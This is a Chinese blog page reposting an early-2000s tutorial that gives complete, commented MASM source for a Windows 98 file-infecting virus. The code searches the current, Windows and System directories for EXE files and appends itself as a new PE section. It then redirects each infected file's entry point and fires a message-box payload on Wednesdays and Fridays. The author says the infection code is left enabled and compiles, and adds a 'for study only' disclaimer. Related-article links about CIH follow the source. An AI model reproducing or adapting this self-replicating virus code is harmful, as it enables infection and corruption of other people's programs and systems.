Win98病毒制作原理-完整版

【白话科普】从“熊猫烧香”聊聊计算机病毒 到底什么是计算机病毒呢?它是什么途径传播的,又会带来哪些危害,我们又该如何在日常使用电脑中防止感染病毒呢? 阅读详情
题目 Win98病毒制作原理-完整版 类别 汇编
作者 彬 日期 2002.4.14
备注 仅供学习 -如需转载 请保留此文件的完整性  


一些网友给我写信,说代码看不懂或总是编译不过去。
因此我又将代码加了详细的解释,几乎是一句一个解释。
但是有关的代码并没有屏蔽,请大家调试时一定小心。│
这个小病毒感染当前目录、Windows目录、System目录的EXE文件
只要将此三个目录的EXE文件备份好(在纯DOS下可以恢复)调试时就算
感染了病毒也应该没问题的。
希望大家还是看懂代码再进行调试。
此代码可以编译通过。
--------------------------------------------------------------
一个基于98下的,具有病毒特性的程序。
病毒本来就是一个技术性蛮高的程序,但是因为他常常犯错,给人感觉又神秘又恐怖。
能过这段代码,你可以更深该的了解类似的程序。
知道他并不可怕,只是被一些人要到了不正当的地方。
其实有些程序利用病毒技术来做。还是非常好的(有些安全方面的程序就是利用这一技术)

本程序仅供学习使用,若用到不正当地方,本人概不负责!
感叹想当年如果有类似的源代码,我也不会走一些不该走的弯路。
阅读前提:了理PE文件结构。

;=========================================< 彬 >==
;名 称: vBinLin病毒
   ; AngelSoft WorkGroup
;语 言: MASM Win98
;日 期: 2001年8月24日
;====================================================
;出 处: Http://vbin.51.net
;备 注: 有关代码未屏蔽!请注意!若没完全明白请误调试
   ; 病毒本是一种高级编程技术,本代码只供学习使用
   ; ,若用到其它用途本人概不负责!
;注 意: 如需转载,请保留此文件的完整性!!!!!
;===================================================
.386
.model flat,stdcall
option casemap:none
include /masm32/include/windows.inc
include /masm32/include/kernel32.inc
include /masm32/include/comctl32.inc
include /masm32/include/user32.inc
include /masm32/include/gdi32.inc
include /masm32/include/comdlg32.inc

includelib /masm32/lib/gdi32.lib
includelib /masm32/lib/kernel32.lib
includelib /masm32/lib/comctl32.lib
includelib /masm32/lib/user32.lib
includelib /masm32/lib/comdlg32.lib
;这是一些相关的定义,其实程序中根本就没用到
;只是我习惯,一股脑的全搬上来啦
;------------------------------------(上面的)--

.data
mcaption db "你好朋友!",0
mtitle db "*标题*",0
; 主程序所用到的一些变量
;------------------------------------(上面的)--

.code
host_start:
invoke MessageBox,NULL,offset mcaption,offset mtitle,64
invoke ExitProcess,0
;主程序代码,只是简单的打一串字符而已。
;病毒代码运行完后,就会跳到此处执行。
;------------------------------------(上面的)--

BadDay SEGMENT PARA USE32 'BadDay'
assume cs:BadDay,ds:BadDay
vstart:
push ebp
push esp
call nstart
nstart:
;;;;;;;;;;;;;
pop ebp
sub ebp,offset nstart
;病毒中常用的一种方法。得到一个偏移差。
;程序后面用到的所有变量都需要加上个这偏移差
;------------------------------------(上面的)--

;=========================
; * 更改程序入口地址 *
cmp now_basein[ebp],0
jnz gonext
mov now_basein[ebp],401000h
gonext:
cmp des_basein[ebp],0
jnz change
mov des_basein[ebp],401000h
change:
mov eax,now_basein[ebp]
push des_basein[ebp]
pop now_basein[ebp]
mov des_basein[ebp],eax
;变量定义的的意思见后方
;程序开始执行时,当前程序的原入口地址会放到des_basein中
;由于程序中des_basein有别的用途,因此将此地址存放到
;now_basein,以便最后跳回原程序入口。
;------------------------------------(上面的)--

;-------------------------
;目录的开头部份
lea eax,NowPath[ebp]
push eax
mov eax,256
push eax
call vGetCurrentDirectory
;通过API函数得到当前程序所在目录
;------------------------------------(上面的)--

lea eax,NowPath[ebp]
push eax
lea eax,SrcDir[ebp]
push eax
call vlstrcpy
;保存当前目录
;------------------------------------(上面的)--

mov NowPathNo[ebp],1
FindStartT:
cmp NowPathNo[ebp],1
jz GFindFt
cmp NowPathNo[ebp],2
jz GetWinD
cmp NowPathNo[ebp],3
jz GetSysD
jmp AllFindEnd
;根据NowPathNor值来判断感染哪个目录的文件
;------------------------------------(上面的)--

GetWinD:

mov eax,256
push eax
lea eax,NowPath[ebp]
push eax
call vGetWindowsDirectory

lea eax,NowPath[ebp]
push eax
call vSetCurrentDirectory
jmp GFindFt
;得到WINDOWS所在目录,并且将其设为当前目录
;------------------------------------(上面的)--

GetSysD:

mov eax,256
push eax
lea eax,NowPath[ebp]
push eax
call vGetSystemDirectory

lea eax,NowPath[ebp]
push eax
call vSetCurrentDirectory
;得到SYSTEM所在目录,并且将其设为当前目录
;------------------------------------(上面的)--

GFindFt:
lea eax,FindData[ebp]
push eax
lea eax,FileFilter[ebp]
push eax
call vFindFirstFile
cmp eax,INVALID_HANDLE_VALUE
jz FindEnds
mov hFind[ebp],eax
;查找当前目录下的第一个EXE文件
;------------------------------------(上面的)--

GoOnFind:
;以下是病毒传染部份
;-------------------------
push 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push 0
push FILE_SHARE_READ+FILE_SHARE_WRITE
push GENERIC_READ+GENERIC_WRITE
lea eax,FindData[ebp].cFileName
push eax
call vCreateFile
;打开文件
;------------------------------------(上面的)--

cmp eax,INVALID_HANDLE_VALUE
jz createfail

mov hFile[ebp],eax
push FILE_BEGIN
push 0
push 3ch
push hFile[ebp]
call vSetFilePointer
;将文件指针指到3CH处(见前面的讲的)
;------------------------------------(上面的)--

push 0
lea eax,byte_read[ebp]
push eax
push 4
lea eax,PE_head_addr[ebp]
push eax
push hFile[ebp]
call vReadFile
;得到PE头偏移地址
;------------------------------------(上面的)--

cmp eax,0
jz readfail
push FILE_BEGIN
push 0
push PE_head_addr[ebp]
push hFile[ebp]
call vSetFilePointer
;指文件指针定位到PE头处
;------------------------------------(上面的)--

mov Head_len[ebp],sizeof PE_head+sizeof Section_table

push 0
lea eax,byte_read[ebp]
push eax
push Head_len[ebp]
lea eax,PE_head[ebp]
push eax
push hFile[ebp]
call vReadFile
;从PE头处开始读,最所读数据存放在缓冲区中
;------------------------------------(上面的)--

cmp dword ptr PE_head[ebp].Signature,IMAGE_NT_SIGNATURE
jnz exitwrite
;检查是否是PE文件,不是就跳出
;------------------------------------(上面的)--

cmp word ptr PE_head[ebp+1ah],0842h
jz exitwrite
;若已感染过也跳
;------------------------------------(上面的)--

Noinfect:
;保存与程序入口相关的RVA
push PE_head[ebp].OptionalHeader.AddressOfEntryPoint
pop des_in[ebp]
push PE_head[ebp].OptionalHeader.ImageBase
pop des_base[ebp]
mov eax,des_in[ebp]
add eax,des_base[ebp]
mov des_basein[ebp],eax
;保存将要感染的程序的入口RVA和默认装入内存的地址
;------------------------------------(上面的)--


movzx eax,PE_head[ebp].FileHeader.SizeOfOptionalHeader
add eax,18h
mov Section_addr[ebp],eax
;得到第一个节的地址
;------------------------------------(上面的)--

mov checker_len[ebp],offset vend-offset vstart
;得到病毒代码的长度
;------------------------------------(上面的)--

movzx eax,PE_head[ebp].FileHeader.NumberOfSections
inc eax
mov ecx,28h
mul ecx
add eax,Section_addr[ebp]
add eax,PE_head_addr[ebp]
cmp eax,PE_head[ebp].OptionalHeader.SizeOfHeaders
;检测当前文件头的剩余空间可否再加一个节。
;------------------------------------(上面的)--

ja exitwrite
lea esi,Section_table[ebp]
movzx eax,PE_head[ebp].FileHeader.NumberOfSections
mov ecx,28h
mul ecx
add esi,eax
inc PE_head[ebp].FileHeader.NumberOfSections
lea edi,new_section[ebp]
xchg edi,esi
;填加一个节
;------------------------------------(上面的)--

mov eax,[edi-28h+8]
add eax,[edi-28h+0ch]
mov ecx,PE_head[ebp].OptionalHeader.SectionAlignment
div ecx
inc eax
mul ecx
mov new_section[ebp].virt_addr,eax
;建立新块,并且块对齐,得到新块入口地址
;------------------------------------(上面的)--

mov eax,checker_len[ebp]
mov ecx,PE_head[ebp].OptionalHeader.FileAlignment
div ecx
inc eax
mul ecx
mov new_section[ebp].raw_size,eax
;得出新块的物理大小,按文件对齐
;------------------------------------(上面的)--

mov eax,checker_len[ebp]
mov ecx,PE_head[ebp].OptionalHeader.SectionAlignment
div ecx
inc eax
mul ecx
mov new_section[ebp].virt_size,eax
;得出虚拟地址,按块对齐
;------------------------------------(上面的)--


mov eax,[edi-28h+14h]
add eax,[edi-28h+10h]
mov ecx,PE_head[ebp].OptionalHeader.SectionAlignment
div ecx
inc eax
mul ecx
mov new_section[ebp].raw_offset,eax
;得到文件中的偏移。(按理说应该是文件最末)
;------------------------------------(上面的)--


mov eax,new_section[ebp].virt_size
add eax,PE_head[ebp].OptionalHeader.SizeOfImage
mov ecx,PE_head[ebp].OptionalHeader.SectionAlignment
div ecx
inc eax
mul ecx
mov PE_head[ebp].OptionalHeader.SizeOfImage,eax
;更新文件总尺寸。即原文件尺寸加上新块的虚拟尺寸然后对齐
;------------------------------------(上面的)--

mov ecx,28h
rep movsb
;填加新块内容
;------------------------------------(上面的)--

mov eax,new_section[ebp].virt_addr
mov PE_head[ebp].OptionalHeader.AddressOfEntryPoint,eax
;改入口地址
;------------------------------------(上面的)--

mov word ptr PE_head[ebp+1ah],0842h
;填加感染标志
;------------------------------------(上面的)--

push FILE_BEGIN
push 0
push PE_head_addr[ebp]
push hFile[ebp]
call vSetFilePointer
;调指针
;------------------------------------(上面的)--

push 0
lea eax,byte_read[ebp]
push eax
push Head_len[ebp]
lea eax,PE_head[ebp]
push eax
push hFile[ebp]
call vWriteFile
;更新文件头
;------------------------------------(上面的)--

push FILE_BEGIN
push 0
push new_section[ebp].raw_offset
push hFile[ebp]
call vSetFilePointer
;更新指针(到文件尾)
;------------------------------------(上面的)--

push 0
lea eax,byte_read[ebp]
push eax
push new_section[ebp].raw_size
lea eax,vstart[ebp]
push eax
push hFile[ebp]
call vWriteFile
;写病毒代码
;------------------------------------(上面的)--
exitwrite:

readfail:
push hFile[ebp]
call vCloseHandle
;关闭当前文件
;------------------------------------(上面的)--
createfail:


;--------------------------------
;目录结尾区
EndDir:
lea eax,FindData[ebp]
push eax
push hFind[ebp]
call vFindNextFile
cmp eax,0
jnz GoOnFind
;查找下一个文件,然后继续感染,直到全感染全为止
;------------------------------------(上面的)--
FindEnds:
push hFind[ebp]
call vFindClose
inc NowPathNo[ebp]
inc NowPathNo[ebp] ;<< 多加了几个1
inc NowPathNo[ebp] ;<<
inc NowPathNo[ebp] ;<<
jmp FindStartT
;为了调试方便,在此只感染当前目录
;------------------------------------(上面的)--

AllFindEnd:
lea eax,SrcDir[ebp]
push eax
call vSetCurrentDirectory

;恢复当前目录
;------------------------------------(上面的)--

;####[ 病毒发作区 ]########################;

lea eax,NowTimes[ebp]
push eax
call vGetSystemTime
cmp NowTimes[ebp].wDayOfWeek,0003h
jz InTimes
cmp NowTimes[ebp].wDayOfWeek,0005h
jnz ExitTimes
;根据时间决定,每周星期三和星期五发作
;------------------------------------(上面的)--

;--- 发作代码 -------------------
InTimes:
;--------------------------------
push 0
lea eax,MyTitle[ebp]
push eax
lea eax,MyTalk[ebp]
push eax
push 0
call vMessageBox
;显示一个提示窗口
;------------------------------------(上面的)--

ExitTimes:

;###########################################;
; 恢复寄存器,跳回原程序处
;------------------------------------------
mov eax,now_basein[ebp]
pop esp
pop ebp
push eax
;-------< 做好返回原程序的准备 >-----------
;;;;;;;;;;;;;;

ret ;返回主程序

;--------------------------
; 函数调用地址
;--------------------------
vCreateFile:
mov jumpaddr[ebp],0BFF77B5BH
jmp jumpaddr[ebp]

vSetFilePointer:
mov jumpaddr[ebp],0BFF771BBH
jmp jumpaddr[ebp]

vReadFile:
mov jumpaddr[ebp],0BFF770B9H
jmp jumpaddr[ebp]

vWriteFile:
mov jumpaddr[ebp],0BFF77051H
jmp jumpaddr[ebp]

vCloseHandle:
mov jumpaddr[ebp],0BFF7E2D9H
jmp jumpaddr[ebp]

vMessageBox:
mov jumpaddr[ebp],0BFF541BAH
jmp jumpaddr[ebp]

vGetCurrentDirectory:
mov jumpaddr[ebp],0BFF77A55H
jmp jumpaddr[ebp]

vGetWindowsDirectory:
mov jumpaddr[ebp],0BFF779F8H
jmp jumpaddr[ebp]

vGetSystemDirectory:
mov jumpaddr[ebp],0BFF779C2H
jmp jumpaddr[ebp]

vSetCurrentDirectory:
mov jumpaddr[ebp],0BFF77A2EH
jmp jumpaddr[ebp]

vlstrcpy:
mov jumpaddr[ebp],0BFF77378H
jmp jumpaddr[ebp]

vFindFirstFile:
mov jumpaddr[ebp],0BFF77BD7H
jmp jumpaddr[ebp]

vFindNextFile:
mov jumpaddr[ebp],0BFF77C0FH
jmp jumpaddr[ebp]

vFindClose:
mov jumpaddr[ebp],0BFF76540H
jmp jumpaddr[ebp]

vGetSystemTime:
mov jumpaddr[ebp],0BFFA1372H
jmp jumpaddr[ebp]

vExitWindowsEx:
mov jumpaddr[ebp],0BFF5232CH
jmp jumpaddr[ebp]

; 其它的略....


;不同的WIN系统这里的地址是不同的。
;因此说这个病毒并不是每个WIN系统都会传染的
;------------------------------------(上面的)--

ALIGN 4
jumpaddr dd 0
PE_head_addr dd 0
checker_len dd 0


MyTitle db "MyTitle",0
MyTalk db "MyTalk",0


PE_head IMAGE_NT_HEADERS <0>
Section_table db 280h dup (0)
Head_len dd 0;sizeof PE_head+sizeof Section_table ; PE文件头和块表的长度

my_section struc
sec_name db 2Eh,42h,61h,64h,44h,61h,79h,0 ; 块名
virt_size dd 0 ; 块长
virt_addr dd 0 ; 该块RVA地址
raw_size dd 0 ; 该块物理长度
raw_offset dd 0 ; 该块物理偏移
dd 0,0,0 ; 未用
sec_flags dd 0E0000020h ; 属性
my_section ends
new_section my_section <>


secbuffer db 512 dup (0)
tempbuffer db 128 dup (0)

hFile dd 0
des_in dd 0
des_base dd 0
db "SRCIN",0
des_basein dd 0
now_basein dd 0
byte_read dd 0
Section_addr dd 0
vsize dd 0
;相关的变量定义
;------------------------------------(上面的)--

;-----------------------------
; 查找文件专用

FileFilter db "*.exe",0
FindData WIN32_FIND_DATA <>
hFind dd 0
NowPath db 256 dup (0)
NowPathNo db 0
SrcDir db 256 dup (0)
;-----------------------------
NowTimes SYSTEMTIME <>
;-----------------------------


vend:
BadDay ends

end vstart
cih病毒简介 CIH病毒是一种能够破坏计算机系统硬件的恶性病毒。这个病毒产自台湾,原集嘉通讯公司(技嘉子公司)手机研发中心主任工程师陈盈豪在其于台湾大同工学院念书期间制作。最早随国际两大盗版集团贩卖的盗版光盘在欧美等地广泛传播,随后进一步通过网络传播到全世界各个角落。 中文名 CIH病毒 外文名 CIH 别名 Win95.CIH、Spacefiller等 类别 计算机系统硬件病毒 版本 V1.0、V1.1、V1.2、V1.3、V1.4 来源 CIH病毒是一位名叫陈盈豪的台湾大学生所编写的,从台湾传入大陆地区的。CIH的 阅读详情

相关推荐

重温经典:编程中的Windows 98

其中,Visual Studio 6.0是一个广泛使用的集成开发环境(IDE),它支持使用多种编程语言进行Windows应用程序的开发。本文将带您回到过去,探索编程中的Windows 98,并提供相关的源代码示例。尽管Windows 98已经不再是当今最先进的操作系统,但了解它的编程特性仍然有助于我们加深对计算机系统的理解。在构造函数中,我们设置了窗口的标题为"我的Windows 98应用程序"。除了基本的窗口应用程序开发,Windows 98还提供了许多其他编程特性,使开发者能够创建功能丰富的应用程序。

2301_79326891的博客 394

Win98下的驻留病毒

;***************************************************************;* 编者的话 *;*-------------------------------------------------------------*;* (1) 编译连接方法(用Tasm5.0编译器) *;* tasm /m bit *;* tlink32 bit *;*-...

zhangziyueup 161

Windows98SEcnyb_itmop.com.iso

这是个Windows98的纯净的系统,希望大家喜欢.下载后用虚拟机打开,接着开机后按箭头下键,接着一直按回车就行了

CIH病毒的分析与清除

CIH病毒的分析与清除 劲 松 E_mail:jinsongzhu@163.net 一九九九年七月二十六日   . 一年前的7月26日,一个名叫CIH的计算机病毒首次露面,袭击了美国,病毒发作时直接往计算机主板BIOS芯片和硬盘写乱码,破坏力非常大,可造成主机无法启动,硬盘数据全部被清洗。一个月后,该病毒在中国大陆出现,给多家计算机应用单位造成严重损失。今年4月26日该病毒又一次在全球总爆发,据有关报道,全球有六千万台电脑受到破坏,大量重要资料无法复原,灾情严重者,连计算机主板硬件也不得不更换。

ba_wang_mao的专栏 6979

windows98部分源代码

windows98部分源代码 资源来自网络 谢谢支持

Windows2000源代码

Windows 2000,原名Windows NT 5.0。它结合了Windows 98和Windows NT 4.0的很多优良的功能/性能与一身,超越了Windows NT的原来含义。   Windows 2000系列分成四个产品:Windows 2000 Professional, Windows 2000 Server, Windows 2000 Advanced Server, Windows 2000 Datacenter Server。 Windows 2000 Professional 是一个商业用户的桌面操作系统,也适合移动用户,是Windows NT Workstation 4.0的升级。Windows 2000 Server和Advanced Server分别是Windows NT Server 4.0及其企业版的升级产品。Windows 2000 Datacenter Server是一个新的品种,主要通过OEM的方式销售,是,支持32个以上的CPU和64GB的内存,以及4个节点的集群服务。 Windows 2000平台包括了Windows 2000 Professional 和Windows 2000 Server前后台的集成,下面仅从五个方面简要地介绍一下它的新特性和新功能。   一、活动目录   Windows 2000 Server在Windows NT Server 4.0的基础上,进一步发展了“活动目录(Active Directory)”。活动目录是从一个数据存储开始的。它采用了类似Exchange Server的数据存储,称为:Extensible Storage Service (ESS)。其特点是不需要事先定义数据库的参数,可以做到动态地增长,性能非常优良。这个数据存储之上已建立索引的,可以方便快速地搜索和定位。活动目录的分区是“域(Domain)”,一个域可以存储上百万的对象。域之间还有层次关系,可以建立域树和域森林,无限地扩展。   在数据存储之上,微软建立了一个对象模型,以构成活动目录。这一对象模型对LDAP有纯粹的支持,还可以管理和修改Schema。Schema包括了在活动目录中的计算机、用户和打印机等所有对象的定义,其本身也是活动目录的内容之一,在整个域森林中是唯一的。通过修改Schema的工具,用户或开发人员可以自己定义特殊的类和属性,来创建所需要的对象和对象属性。   活动目录包括两个方面:一个目录和与目录相关的服务。目录是存储各种对象的一个物理上的容器;而目录服务是使目录中所有信息和资源发挥作用的服务。活动目录是一个分布式的目录服务。信息可以分散在多台不同的计算机上,保证快速访问和容错;同时不管用户从何处访问或信息处在何处,都对用户提供统一的视图。 活动目录充分体现了微软产品的“ICE”,即集成性(Integration),深入性(Comprehensive),和易用性(Ease of Use)等优点。活动目录是一个完全可扩展,可伸缩的目录服务,既能满足商业ISP的需要,又能满足企业内部网和外联网的需要 最近在网上游荡的时候发现msdos和windows 2000的原代码 ,不敢独享,所以分享给大家

CIH病毒百科

目前,防止CIH病毒的传染和破坏主要有两种方法:一是实时监测,不让病毒进入系统,如KILL98就采用了这种方法,其优点是比较安全,但影响系统的速度,有可能误报,而且对使用染有病毒的文件不方便。分区表破坏,可能是数据损坏中除了。为2.1G以下,原FAT表是16位的,C分区的修复率为0%,D,E,F等分区的修复率也为99%,配合手工C,D,E,F等分区的修复率为100%。软件的功能,一旦判断用户运行的是WinNT,则不发生作用,进行自我隐藏,以避免产生错误提示信息,同时使用了更加优化的代码,以缩减其长度。

m0_56596366的博客 743

《Windows95程序设计》源代码

对于已经基本掌握C/C++语言,想学习Windows编程的读者, 《Programming Windows95》是最合适的教材。这本书大名鼎鼎,是最著名,最受好评,最为畅销的Windows编程经典著作,被誉为Windows程序设计的“圣经”。作者是Charles Petzold, 国内由清华大学出版社出版,书名《Windows95程序设计》。 本资源即为《Windows95程序设计》源代码、批处理文件、makefil和可执行文件。

CIH病毒庐山真面目

       CIH病毒是一种文件型病毒,又称Win95.CIH、Win32.CIH、PE_CIH,是第一例感染Windows95/98环境下PE格式(Portable Executable Format)EXE文件的病毒。  不同于以往的DOS型病毒,CIH病毒是建立在WINDOW95/98平台。由于微软WINDOWS平台的不断发展,DOS平台已逐渐走向消亡,DOS型病毒也将随之退出历史的舞台。

xiaxinx的专栏 2421

j0g1-windows-98-source-code__3-519-windows source code

Windows 98源代码 描述 Win98的源代码。 您曾经想知道的内容现在可以看到! 更多信息 提交时间 经过 等级 初学者 用户评分 4.0(28个用户的111个地球仪) 兼容性 C ++(通用) 类别 世界 存档文件 源代码 /* Windows '98 source code */ /* TOP SECRET Microsoft(c) Code Project: Chicago(tm) Projected release-date: Summer 1998 */ #include "win31.h" #include "win95.h" #include "evenmore.h" #include "oldstuff.h" #include "billrulz.h" #define INSTALL_HARD char make_prog_look_big 1600000

Windows-98:Micro $oft:registered:Window $ 98的完整源代码-windows source code

Windows-98:Micro $oft:registered:Window $ 98的完整源代码

盘点那些电脑病毒 ( 2 )

等几种5V主板,这并不是说这些主板的质量不好,只不过其EEPROM逻辑正好与CIH吻合,或者CIH的编制者也许就是要有目的地破坏某些品牌的主板。需要注意的是,虽然CIH并不会破坏所有BIOS,但CIH在“黑色”的26日摧毁硬盘上所有数据远比破坏BIOS要严重得多——这是每个感染CIH病毒的用户不可避免的。改写EEPROM内的数据需要一定的逻辑条件,不同PC机系统对这种条件的要求可能并不相同,所以CIH并不会破坏所有使用EEPROM存储BIOS的主板,当时报道的只有。和新闻联播跟进报导;内部的电压是不够的。

C_User1024的博客 1392

基于IDEA与Mill构建Windows下的Chisel开发环境——香山处理器源码解析实战

本文详细指导如何在Windows系统下使用IDEA集成开发环境和Mill构建工具搭建Chisel开发环境,并以香山处理器源码为实战案例进行解析。内容涵盖环境准备、源码获取、工程构建、IDEA配置优化及代码阅读技巧,帮助开发者高效学习硬件设计语言。

a1b2c3d的博客 718

MSN骗子病毒详细技术分析(转)

MSN骗子病毒详细技术分析(转)[@more@]  10月10日,瑞星全球反病毒监测网截获了一个传播速度极快的蠕虫病毒,它可以通过QQ和MSN传播,向线上好友发送“FUNNY.EXE”文件,用户点击后就会中毒。病毒会屏蔽937个...

cuanjun1153的博客 190

开关电源的纹波和噪声电压-抑制方法

开关电源(包括AC/DC转换器、DC/DC转换器、AC/DC模块和DC/DC模块)与线性电源相比较,最突出的优点是转换效率高,一般可达80%~85%,高的可达90%~97%;其次,开关电源采用高频变压器替代了笨重的工频变压器,不仅重量减轻,体积也减小了,因此应用范围越来越广。 但开关电源的缺点是由于其开关管工作于高频开关状态,输出的纹波和噪声电压较大,一般为输出电压的1%左右(低的为输出电压的0.5%左右),最好产品的纹波和噪声电压也有几十mV;而线性电源的调整管工作于线性状态,无纹波电压,输出的噪声电压也

ltqdxl的博客 1万+

如何导入su_利用GIS快速生成SU场地模型

01|前言:进入2021年了,希望大家也是一个新的开始。告诫自己多写文章多更新,多读点书多旅行。然而元旦由于出去玩了4天,积累了一些事情要处理,一直没有时间好好写点东西。今天给大家带来的分享主题叫“利用GIS快速生成SU场地模型”。相关的视频方法其实B站上也有,但我相信视频很多人都不会看,我自己也是。直接给大家上操作流程。主要的操作步骤是【获取场地的矢量shp文件】—【导入ArcScen...

weixin_33806859的博客 9813

教你如何编写病毒

什么是计算机病毒 计算机病毒是一个程序,一段可执行码。就像生物病毒一样,计算机病毒有独特的复制能力。计算机病毒可以很快地蔓 延,又常常难以根除。它们能把自身附着在各种类型的文件上。当文件被复制或从一个用户传送到另一个用户时,它们就随 同文件一起蔓延开来。 除复制能力外,某些计算机病毒还有其它一些共同特性:一个被污染的程序能够传送病毒载体。当你看到病毒载体似乎 仅仅表现在文字和图象上时,它们可能

3万+

《爬虫和逆向教程》 - 专栏介绍和目录

本专栏为爬虫初学者和进阶开发者量身定制的爬虫和逆向学习园地。为你提供全面而深入的爬虫和逆向技术指导,从入门到精通,从基础理论到高级实战,助你在数据的海洋中畅游,挖掘出有价值的信息。通过本专栏的学习,你将具备独立开发和优化爬虫程序的能力,及逆向分析能力和项目开发能力,成为爬虫领域的佼佼者。

数据知道的博客 2万+

简化再简化

因为最近的病毒和木马多,所以重装系统将会变成一件平常的事情。我介绍的10分钟无损硬盘重装系统,原理很简单,就是在Win98下压缩WinXP,然后在WinXP下压缩Win98。有朋友问是否有效?我这几个月已经用此方法安装很多次了,切实可行。再简化的步骤如:制作系统备份文件:1、安装Win98,Win98安装在D盘,Windows目录选择为D:/mywin98。2、进入Win98。CD-ROM放入Wi

xiaojiesmBlog 619

RTOS与Linux功能差异与应用场景全面对比

在嵌入式系统的开发中,操作系统的选择至关重要。和是两种广泛应用的操作系统,它们在功能、设计目标以及应用领域中各具优势。随着嵌入式系统的不断发展,已成为嵌入式行业的大趋势。那么,这两者到底有什么不同呢?

硬核科技 402

基于Simulink的光储系统黑启动能力仿真

本文基于Simulink平台构建了光储系统黑启动仿真模型,详细阐述了储能VF控制、光伏孤岛MPPT和同步并网等核心控制策略。通过分阶段协调控制(储能启动→关键负载→光伏接入→非关键负载→同步并网),实现了60秒内恢复供电、母线电压波动<5%的性能指标。仿真结果表明,协调控制策略相比无序启动可显著提升系统稳定性,避免电压崩溃和负载跳闸。文章还提供了完整的建模步骤、核心代码及进阶优化方向,为微电网应急供电设计提供了实用参考。该模型适用于光伏储能系统的黑启动能力验证和优化研究。

amy_mhd的博客 106

如何编写木马病毒

如何编写木马病毒 www.hxhack.com 阅读:1434 时间:2007-7-23 9:46:39 整理:华夏黑盟 ------------------------------------------------------------------

特权份子的专栏 9万+

第25节:cesium 地形开挖综合实例-地下管网(含源码+视频)

地图开挖综合示例,包括底图切换,绘制开挖区域,移除开挖区域,影藏地图等等。

qq_29384639的博客 1782
上一篇: CIH 1.5 源代码
下一篇: 蠕虫 srv32.exe 逆向分析笔记
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值